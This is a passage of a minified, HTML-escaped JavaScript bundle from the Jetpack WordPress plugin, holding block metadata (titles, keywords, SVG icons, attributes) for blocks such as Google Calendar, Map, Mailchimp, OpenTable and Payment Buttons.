ot;type&quot;:&quot;string&quot;},&quot;widgetId&quot;:{&quot;type&quot;:&quot;number&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;goodreadsId&quot;:1176283}}}&#039;)},76862(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/google-calendar&quot;,&quot;title&quot;:&quot;Google Calendar&quot;,&quot;description&quot;:&quot;Embed a Google Calendar.&quot;,&quot;keywords&quot;:[&quot;events&quot;,&quot;dates&quot;,&quot;schedule&quot;,&quot;appointments&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 23\&#039; width=\&#039;24\&#039; height=\&#039;23\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M19.5,23h-15c-2.2,0-4-1.8-4-4V4c0-2.2,1.8-4,4-4h15c2.2,0,4,1.8,4,4v15C23.5,21.2,21.7,23,19.5,23z M4.5,2 c-1.1,0-2,0.9-2,2v15c0,1.1,0.9,2,2,2h15c1.1,0,2-0.9,2-2V4c0-1.1-0.9-2-2-2H4.5z M6.9,3.9L6.9,3.9c0.5,0,0.9,0.4,0.9,0.9V5 c0,0.5-0.4,0.9-0.9,0.9l0,0C6.5,5.9,6.1,5.5,6.1,5V4.7C6.1,4.3,6.5,3.9,6.9,3.9z M17,3.9L17,3.9c0.5,0,0.9,0.4,0.9,0.9V5 c0,0.5-0.4,0.9-0.9,0.9l0,0c-0.5,0-0.9-0.4-0.9-0.9V4.7C16.2,4.3,16.5,3.9,17,3.9z M8.8,17.6c1.8,0,3.2-1,3.2-2.4 c0-1.1-0.7-1.8-1.8-1.9v-0.1c0.9-0.2,1.5-0.9,1.5-1.8c0-1.3-1.2-2.2-2.9-2.2c-1.8,0-2.9,1-3,2.5h1.6c0-0.7,0.6-1.1,1.4-1.1 c0.8,0,1.3,0.4,1.3,1.1c0,0.7-0.5,1.1-1.3,1.1h-1v1.3h1c0.9,0,1.5,0.4,1.5,1.1c0,0.7-0.6,1.2-1.4,1.2c-0.9,0-1.4-0.4-1.5-1.1H5.7 C5.8,16.6,7,17.6,8.8,17.6z M17.6,17.4V9.3h-1.7l-2.1,1.4v1.6l2-1.4h0.1v6.4H17.6z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;alignWide&quot;:true,&quot;html&quot;:false},&quot;attributes&quot;:{&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;height&quot;:{&quot;type&quot;:&quot;integer&quot;,&quot;default&quot;:600}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;url&quot;:&quot;https://calendar.google.com/calendar/embed?src=jb4bu80jirp0u11a6niie21pp4%40group.calendar.google.com&amp;ctz=America/New_York&quot;}}}&#039;)},88285(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/image-compare&quot;,&quot;title&quot;:&quot;Image Compare&quot;,&quot;description&quot;:&quot;Compare two images with a slider. Works best with images of the same size.&quot;,&quot;keywords&quot;:[&quot;juxtapose&quot;,&quot;photos&quot;,&quot;pictures&quot;,&quot;side by side&quot;,&quot;slider&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;media&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M21 4h-6v1.5h6c.3 0 .5.2.5.5v.4l-3.6 3.5L15 8.1v1.8l2.6 1.7c.1.1.3.1.4.1.2 0 .4-.1.5-.2l3-2.9V18c0 .3-.2.5-.5.5h-6V20h6c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM1 6v12c0 1.1.9 2 2 2h10.5V4H3c-1.1 0-2 .9-2 2zm11 12.5H3c-.3 0-.5-.2-.5-.5v-1.4L5 14.7l1.5-1.1.1-.1 3 1.9c.1.1.3.1.4.1.2 0 .4-.1.5-.2L12 14v4.5zm0-6.6l-2.1 2L7 12c-.1-.1-.3-.1-.4-.1h-.1c-.1 0-.3.1-.4.1l-1.1.9-2.5 1.8V6c0-.3.2-.5.5-.5h9v6.4z\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;]},&quot;attributes&quot;:{&quot;imageBefore&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{}},&quot;imageAfter&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{}},&quot;caption&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;orientation&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;horizontal&quot;}}}&#039;)},89525(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/instagram-gallery&quot;,&quot;title&quot;:&quot;Latest Instagram Posts&quot;,&quot;description&quot;:&quot;Display an automatically updating list of the latest posts from your Instagram feed.&quot;,&quot;keywords&quot;:[&quot;images&quot;,&quot;photos&quot;,&quot;pictures&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg width=\&#039;24\&#039; height=\&#039;24\&#039; viewBox=\&#039;0 0 24 24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z\&#039;&gt;&lt;/path&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;html&quot;:false},&quot;attributes&quot;:{&quot;accessToken&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;instagramUser&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;columns&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:3,&quot;min&quot;:1,&quot;max&quot;:6},&quot;count&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:9,&quot;min&quot;:1,&quot;max&quot;:30},&quot;spacing&quot;:{&quot;type&quot;:&quot;number&quot;,&quot;default&quot;:10,&quot;min&quot;:0,&quot;max&quot;:50},&quot;isStackedOnMobile&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true}}}&#039;)},71969(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/like&quot;,&quot;title&quot;:&quot;Like&quot;,&quot;description&quot;:&quot;Give your readers the ability to show appreciation for your posts.&quot;,&quot;keywords&quot;:[&quot;like&quot;,&quot;likes&quot;,&quot;thumbs up&quot;,&quot;button&quot;,&quot;heart&quot;],&quot;version&quot;:&quot;1.0.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path fill-rule=\&#039;evenodd\&#039; d=\&#039;M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z\&#039; clip-rule=\&#039;evenodd\&#039;&gt;&lt;/path&gt;&lt;/svg&gt;&quot;,&quot;usesContext&quot;:[&quot;postId&quot;],&quot;attributes&quot;:{&quot;showReblogButton&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;showAvatars&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true}}}&#039;)},37120(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/mailchimp&quot;,&quot;title&quot;:&quot;Mailchimp&quot;,&quot;description&quot;:&quot;Allow readers to join a Mailchimp audience.&quot;,&quot;keywords&quot;:[&quot;email&quot;,&quot;subscription&quot;,&quot;newsletter&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m16.88,11.25c.17-.02.34-.02.49,0,.09-.2.1-.55.02-.93-.12-.57-.28-.91-.61-.86-.33.05-.34.46-.22,1.03.07.32.19.59.32.76\&#039;/&gt;&lt;path d=\&#039;m14.03,11.7c.24.1.38.17.44.11.04-.04.03-.11-.03-.2-.12-.19-.36-.38-.61-.49-.52-.22-1.14-.15-1.62.19-.16.12-.31.28-.29.37,0,.03.03.06.09.06.13.01.59-.22,1.11-.25.37-.02.68.09.92.2\&#039;/&gt;&lt;path d=\&#039;m13.56,11.97c-.31.05-.48.15-.59.25-.09.08-.15.17-.15.23,0,.03.01.05.02.06.01.01.03.02.05.02.07,0,.23-.06.23-.06.43-.15.71-.13.99-.1.16.02.23.03.26-.03.01-.02.02-.05,0-.1-.07-.12-.38-.32-.81-.26\&#039;/&gt;&lt;path d=\&#039;m15.92,12.97c.21.1.44.06.52-.09s-.03-.36-.24-.46c-.21-.1-.44-.06-.52.09-.08.15.03.36.24.46\&#039;/&gt;&lt;path d=\&#039;m17.26,11.79c-.17,0-.31.18-.32.42s.13.42.3.43.31-.18.32-.42c0-.23-.13-.42-.3-.43\&#039;/&gt;&lt;path d=\&#039;m5.83,16c-.04-.05-.11-.04-.18-.02-.05.01-.1.02-.16.02-.13,0-.23-.06-.29-.15-.08-.12-.07-.3.01-.5l.04-.09c.14-.31.36-.82.11-1.31-.19-.37-.51-.6-.89-.64-.36-.05-.74.09-.98.35-.38.42-.44.98-.36,1.18.03.07.07.09.1.1.06,0,.16-.04.22-.2l.02-.05c.03-.08.08-.24.16-.37.1-.15.25-.26.43-.29.18-.04.37,0,.52.1.26.17.37.5.25.8-.06.16-.15.46-.13.72.04.51.35.71.63.73.27.01.46-.14.51-.25.03-.07,0-.11-.01-.12\&#039;/&gt;&lt;path d=\&#039;m8.42,6.69c.89-1.03,1.98-1.92,2.96-2.42.03-.02.07.02.05.05-.08.14-.23.44-.28.67,0,.04.03.06.06.04.61-.42,1.67-.86,2.6-.92.04,0,.06.05.03.07-.14.11-.3.26-.41.41-.02.03,0,.06.03.06.65,0,1.57.23,2.17.57.04.02.01.1-.03.09-.91-.21-2.4-.37-3.94.01-1.38.34-2.43.86-3.2,1.41-.04.03-.09-.02-.05-.06h0Zm4.43,9.95h0s0,0,0,0h0Zm3.67.43s.04-.04.04-.07c0-.04-.04-.06-.07-.06,0,0-1.9.28-3.69-.38.2-.63.71-.41,1.5-.34,1.41.08,2.68-.12,3.62-.39.81-.23,1.88-.69,2.71-1.35.28.61.38,1.29.38,1.29,0,0,.22-.04.4.07.17.11.3.32.21.89-.17,1.05-.62,1.91-1.38,2.7-.46.49-1.02.92-1.65,1.24-.34.18-.7.33-1.08.46-2.84.93-5.75-.09-6.69-2.28-.07-.16-.14-.34-.19-.52-.4-1.44-.06-3.17,1-4.27h0c.07-.07.13-.15.13-.25,0-.09-.05-.18-.1-.24-.37-.54-1.66-1.45-1.4-3.23.19-1.27,1.3-2.17,2.34-2.12l.26.02c.45.03.84.08,1.21.1.62.03,1.18-.06,1.84-.61.22-.19.4-.35.7-.4.03,0,.11-.03.27-.03.16,0,.31.05.45.14.53.35.6,1.21.63,1.83.02.36.06,1.22.07,1.47.03.57.18.65.48.75.17.06.33.1.56.16.7.2,1.12.4,1.38.65.16.16.23.33.25.49.08.6-.47,1.35-1.93,2.03-1.59.74-3.53.93-4.87.78l-.47-.05c-1.07-.14-1.68,1.24-1.04,2.18.41.61,1.54,1.01,2.67,1.01,2.58,0,4.57-1.1,5.31-2.06l.06-.08c.04-.05,0-.08-.04-.05-.6.41-3.28,2.05-6.15,1.56,0,0-.35-.06-.67-.18-.25-.1-.78-.34-.85-.88,2.31.72,3.77.04,3.77.04h0ZM3.8,11.57c-.8.16-1.51.61-1.95,1.24-.26-.22-.74-.63-.83-.8-.69-1.31.76-3.87,1.77-5.32C5.3,3.13,9.21.43,11.02.92c.29.08,1.27,1.21,1.27,1.21,0,0-1.81,1.01-3.49,2.41-2.26,1.74-3.97,4.28-5,7.03h0Zm1.35,6.03c-.12.02-.25.03-.37.03-1.21-.03-2.52-1.12-2.65-2.42-.14-1.43.59-2.53,1.88-2.79.15-.03.34-.05.54-.04.72.04,1.79.6,2.04,2.17.22,1.4-.13,2.82-1.44,3.04h0Zm16.4-2.53s-.08-.28-.17-.58c-.09-.3-.19-.51-.19-.51.37-.56.38-1.06.33-1.34-.05-.35-.2-.65-.49-.96-.29-.31-.89-.62-1.74-.86l-.44-.12s-.02-1.04-.04-1.48c-.01-.32-.04-.82-.2-1.31-.18-.66-.5-1.24-.9-1.61,1.1-1.14,1.79-2.4,1.79-3.48,0-2.08-2.56-2.71-5.7-1.4l-.67.28s-1.2-1.18-1.22-1.2C8.33-2.63-2.89,9.84.7,12.86l.78.66c-.2.53-.28,1.13-.22,1.78.08.83.51,1.63,1.21,2.25.66.59,1.53.96,2.37.96,1.4,3.21,4.58,5.19,8.32,5.3,4.01.12,7.37-1.76,8.78-5.14.09-.24.48-1.31.48-2.25s-.54-1.34-.88-1.34\&#039;/&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;],&quot;color&quot;:{&quot;gradients&quot;:true},&quot;spacing&quot;:{&quot;padding&quot;:true,&quot;margin&quot;:true}},&quot;attributes&quot;:{&quot;emailPlaceholder&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;consentText&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;interests&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;processingLabel&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;signupFieldTag&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;signupFieldValue&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;successLabel&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;errorLabel&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;preview&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;preview&quot;:true},&quot;innerBlocks&quot;:[{&quot;name&quot;:&quot;jetpack/button&quot;,&quot;attributes&quot;:{&quot;element&quot;:&quot;button&quot;,&quot;text&quot;:&quot;Join my Mailchimp audience&quot;,&quot;uniqueId&quot;:&quot;mailchimp-widget-id&quot;}}]}}&#039;)},55740(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;[{&quot;id&quot;:&quot;mapbox-gl-js&quot;,&quot;file&quot;:&quot;node_modules/mapbox-gl/dist/mapbox-gl.js&quot;,&quot;version&quot;:&quot;1.13.0&quot;},{&quot;id&quot;:&quot;mapbox-gl-css&quot;,&quot;file&quot;:&quot;node_modules/mapbox-gl/dist/mapbox-gl.css&quot;,&quot;version&quot;:&quot;1.13.0&quot;}]&#039;)},6852(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/map&quot;,&quot;title&quot;:&quot;Map&quot;,&quot;description&quot;:&quot;Add an interactive map showing one or more locations.&quot;,&quot;keywords&quot;:[&quot;maps&quot;,&quot;location&quot;,&quot;navigation&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;embed&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 24 24\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;M20.5 3l-.16.03L15 5.1 9 3 3.36 4.9c-.21.07-.36.25-.36.48V20.5c0 .28.22.5.5.5l.16-.03L9 18.9l6 2.1 5.64-1.9c.21-.07.36-.25.36-.48V3.5c0-.28-.22-.5-.5-.5zM10 5.47l4 1.4v11.66l-4-1.4V5.47zm-5 .99l3-1.01v11.7l-3 1.16V6.46zm14 11.08l-3 1.01V6.86l3-1.16v11.84z\&#039; /&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;defaultStylePicker&quot;:false,&quot;html&quot;:false},&quot;attributes&quot;:{&quot;align&quot;:{&quot;type&quot;:&quot;string&quot;},&quot;points&quot;:{&quot;type&quot;:&quot;array&quot;,&quot;default&quot;:[]},&quot;address&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;&quot;},&quot;mapDetails&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true},&quot;zoom&quot;:{&quot;type&quot;:&quot;integer&quot;,&quot;default&quot;:13},&quot;mapCenter&quot;:{&quot;type&quot;:&quot;object&quot;,&quot;default&quot;:{&quot;longitude&quot;:-122.41941550000001,&quot;latitude&quot;:37.7749295}},&quot;markerColor&quot;:{&quot;type&quot;:&quot;string&quot;,&quot;default&quot;:&quot;red&quot;},&quot;scrollToZoom&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:false},&quot;mapHeight&quot;:{&quot;type&quot;:&quot;integer&quot;},&quot;showFullscreenButton&quot;:{&quot;type&quot;:&quot;boolean&quot;,&quot;default&quot;:true}},&quot;example&quot;:{}}&#039;)},73431(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/markdown&quot;,&quot;title&quot;:&quot;Markdown&quot;,&quot;description&quot;:&quot;Add headings, lists, or links to plain text with ease.&quot;,&quot;keywords&quot;:[&quot;formatting&quot;,&quot;syntax&quot;,&quot;markup&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;text&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 208 128\&#039; width=\&#039;24\&#039; height=\&#039;24\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;rect width=\&#039;198\&#039; height=\&#039;118\&#039; x=\&#039;5\&#039; y=\&#039;5\&#039; ry=\&#039;10\&#039; stroke=\&#039;currentColor\&#039; strokeWidth=\&#039;10\&#039; fill=\&#039;none\&#039; /&gt;&lt;path d=\&#039;M30 98v-68h20l20 25 20-25h20v68h-20v-39l-20 25-20-25v39zM155 98l-30-33h20v-35h20v35h20z\&#039; /&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:[&quot;wide&quot;,&quot;full&quot;],&quot;html&quot;:false,&quot;spacing&quot;:{&quot;padding&quot;:true,&quot;margin&quot;:true,&quot;__experimentalDefaultControls&quot;:{&quot;padding&quot;:true,&quot;margin&quot;:true}}},&quot;attributes&quot;:{&quot;source&quot;:{&quot;type&quot;:&quot;string&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;source&quot;:&quot;## ## Try Markdown\\n\\nMarkdown is a text formatting syntax that is converted into HTML. You can _emphasize_ text or **make it strong** with just a few characters.&quot;}}}&#039;)},17195(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/nextdoor&quot;,&quot;title&quot;:&quot;Nextdoor&quot;,&quot;description&quot;:&quot;Embed a Nextdoor post for your neighbors on your blog.&quot;,&quot;keywords&quot;:[&quot;neighbor&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;grow&quot;,&quot;icon&quot;:&quot;&lt;svg height=\&#039;24\&#039; width=\&#039;24\&#039; viewBox=\&#039;0 0 130 130\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;g&gt;&lt;path d=\&#039;M64.25 3.531c-31.144.337-57.596 24.22-60.469 55.907-3.064 33.799 21.857 63.685 55.657 66.75 33.799 3.064 63.685-21.857 66.75-55.657 3.064-33.8-21.857-63.686-55.657-66.75a62.075 62.075 0 00-6.281-.25zm3.938 34.907C82.468 38.438 93.5 48.58 93.5 61.5v27c0 .685-.565 1.25-1.25 1.25H80.906a1.267 1.267 0 01-1.25-1.25V63.375c0-5.58-4.309-11.938-11.469-11.938-7.47 0-11.468 6.358-11.468 11.938V88.5c0 .685-.565 1.25-1.25 1.25H44.125c-.68 0-1.219-.57-1.219-1.25V64.156c0-.74-.529-1.364-1.25-1.531-13.13-2.93-15.115-10.285-15.375-21.125-.005-.332.142-.67.375-.906.233-.237.543-.375.875-.375l11.688.062c.66.01 1.187.529 1.218 1.188.13 4.44.438 9.406 4.438 9.406.83 0 1.443-1.179 1.813-1.719 4.41-6.48 12.28-10.718 21.5-10.718z\&#039;/&gt;&lt;/g&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;alignWide&quot;:true,&quot;html&quot;:false},&quot;attributes&quot;:{&quot;url&quot;:{&quot;type&quot;:&quot;string&quot;}}}&#039;)},79018(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/opentable&quot;,&quot;title&quot;:&quot;OpenTable&quot;,&quot;description&quot;:&quot;Book a reservation with OpenTable.&quot;,&quot;keywords&quot;:[&quot;booking&quot;,&quot;reservation&quot;,&quot;restaurant&quot;],&quot;version&quot;:&quot;12.5.0&quot;,&quot;textdomain&quot;:&quot;jetpack&quot;,&quot;category&quot;:&quot;monetize&quot;,&quot;icon&quot;:&quot;&lt;svg viewBox=\&#039;0 0 22 16\&#039; width=\&#039;22\&#039; height=\&#039;16\&#039; xmlns=\&#039;http://www.w3.org/2000/svg\&#039;&gt;&lt;path d=\&#039;m1.997 5.982c-.39457-.00039-.7804.11622-1.108699.33511-.328295.21888-.584312.5302-.735674.89459-.15136174.36439-.1912714.76548-.1146819 1.15254.0765899.38707.2662379.74274.5449639 1.02202.278726.27929.634011.46965 1.020921.54702.38692.07732.78809.03826 1.15278-.11238.36469-.15063.67652-.40602.89606-.73387.21954-.32786.33693-.71345.33733-1.10803v-.002c.001-1.1-.89-1.994-1.992-1.995zm12.006 3.988c-.3946.0004-.7805-.11625-1.1088-.33517-.3283-.21893-.5843-.53031-.7357-.89476-.1513-.36444-.1912-.76558-.1145-1.15268s.2664-.74276.5453-1.022c.2788-.27925.6342-.46953 1.0211-.54679.387-.07725.7882-.038 1.1529.11278.3647.15079.6764.40634.8959.73432.2194.32799.3366.71369.3368 1.1083v.003c.0003.52814-.2092 1.03477-.5824 1.4085s-.8795.58397-1.4076.5845zm0-9.96999843c-1.5777-.0009886-3.1203.46588743-4.43262 1.34158843-1.31236.8757-2.33558 2.1209-2.94025 3.57813-.60467 1.45722-.76365 3.06103-.45683 4.60861.30683 1.54757 1.06567 2.96947 2.18058 4.08577 1.1149 1.1163 2.53582 1.8769 4.08302 2.1856 1.5472.3088 3.1512.1518 4.6091-.451 1.458-.6028 2.7045-1.6245 3.5819-2.9358.8773-1.3112 1.3461-2.8532 1.3471-4.4309v-.005c.0008-2.11466-.8384-4.14304-2.3331-5.63899-1.4946-1.495952-3.5222-2.3369478-5.6369-2.33800843z\&#039; /&gt;&lt;/svg&gt;&quot;,&quot;supports&quot;:{&quot;align&quot;:true,&quot;html&quot;:false},&quot;attributes&quot;:{&quot;rid&quot;:{&quot;default&quot;:[],&quot;type&quot;:&quot;array&quot;},&quot;style&quot;:{&quot;default&quot;:&quot;standard&quot;,&quot;type&quot;:&quot;string&quot;,&quot;enum&quot;:[&quot;button&quot;,&quot;standard&quot;,&quot;wide&quot;,&quot;tall&quot;]},&quot;iframe&quot;:{&quot;default&quot;:true,&quot;type&quot;:&quot;boolean&quot;},&quot;domain&quot;:{&quot;default&quot;:&quot;com&quot;,&quot;type&quot;:&quot;string&quot;},&quot;lang&quot;:{&quot;default&quot;:&quot;en-US&quot;,&quot;type&quot;:&quot;string&quot;,&quot;enum&quot;:[&quot;en-US&quot;,&quot;fr-CA&quot;,&quot;de-DE&quot;,&quot;es-MX&quot;,&quot;ja-JP&quot;,&quot;nl-NL&quot;,&quot;it-IT&quot;]},&quot;newtab&quot;:{&quot;default&quot;:false,&quot;type&quot;:&quot;boolean&quot;},&quot;negativeMargin&quot;:{&quot;default&quot;:false,&quot;type&quot;:&quot;boolean&quot;}},&quot;example&quot;:{&quot;attributes&quot;:{&quot;rid&quot;:[&quot;1&quot;],&quot;style&quot;:&quot;standard&quot;,&quot;iframe&quot;:true,&quot;domain&quot;:&quot;com&quot;,&quot;lang&quot;:&quot;en-US&quot;,&quot;newtab&quot;:false,&quot;negativeMargin&quot;:false}}}&#039;)},97472(e){&quot;use strict&quot;;e.exports=JSON.parse(&#039;{&quot;$schema&quot;:&quot;https://schemas.wp.org/trunk/block.json&quot;,&quot;apiVersion&quot;:3,&quot;name&quot;:&quot;jetpack/payment-buttons&quot;,&quot;title&quot;:&quot;Payment Buttons&quot;,&quot;description&quot;:&quot;Sell products and subscriptions.&quot;,&quot;keywords&quot;:[&quot;buy&quot;,&quot;contribution&quot;,&quot;commerce&quot;,&quot;credit card&quot;,&quot;debit 